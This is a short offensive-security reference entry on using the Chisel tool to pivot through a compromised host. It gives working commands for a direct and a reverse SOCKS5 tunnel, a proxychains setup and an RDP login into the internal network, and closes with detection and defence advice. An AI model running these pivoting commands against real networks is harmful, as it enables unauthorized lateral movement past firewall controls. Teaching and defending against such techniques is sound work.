Chisel Pivoting (SOCKS5 tunnel)

Chisel is a TCP/UDP tunnel written in Go that carries data over HTTP and secures it with SSH, all in a single binary. Its strength is crossing firewall-restricted environments and standing up a SOCKS5 proxy through a compromised host: from there, any tool on the attacking machine can reach the internal network using proxychains. It is the go-to alternative when there is no SSH on the pivot.

Mechanism

In direct mode, the pivot acts as the server and we as the client. On the compromised host:

./chisel server -p 1234 --socks5

And from the attacking machine we connect, which opens a local SOCKS at 127.0.0.1:1080:

./chisel client <pivot-ip>:1234 socks

If the firewall blocks inbound connections to the pivot, use reverse mode: we stand up the server and the pivot calls back to us. On the attacking machine:

sudo ./chisel server --reverse -p 1234 --socks5

And on the compromised pivot (the R: prefix denotes a reverse tunnel):

./chisel client <lhost>:1234 R:socks

In either mode, add the proxy at the end of /etc/proxychains.conf:

socks5 127.0.0.1 1080

And we can now pivot into the internal network through the tunnel:

proxychains xfreerdp /v:<internal-ip> /u:<user> /p:<pass>

Requirements

You need the Chisel binary on both ends (use a release build to avoid glibc mismatches with the target), connectivity to at least one endpoint (the one acting as server), and proxychains to redirect your tools' sockets through the SOCKS proxy. The pivot must have a route to the internal segment you want to reach.

How to detect it

The tunnel is given away by unknown binaries (chisel) on disk, persistent HTTP/WebSocket traffic to high ports between segments that should not talk to each other, processes that open a local SOCKS (1080) and, in reverse mode, outbound connections from an internal server to the attacker's IP. The volume and regularity of the tunneled traffic are another clue.

Defence. Filter egress traffic (an internal server should not initiate connections to the Internet), segment the network, apply binary allowlisting (AppLocker/WDAC) and use IDS with tunnel signatures. Related to Ligolo-ng pivoting, sshuttle pivoting, dynamic port forwarding, socat relay and netsh port forwarding.